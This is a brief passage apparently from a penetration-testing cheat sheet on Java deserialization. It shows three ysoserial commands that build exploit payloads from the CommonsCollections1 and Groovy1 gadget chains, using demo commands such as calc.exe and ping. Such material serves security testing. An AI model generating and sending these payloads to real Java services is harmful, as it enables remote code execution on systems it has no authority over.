## Tools
### Ysoserial
[frohoff/ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
```java
java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
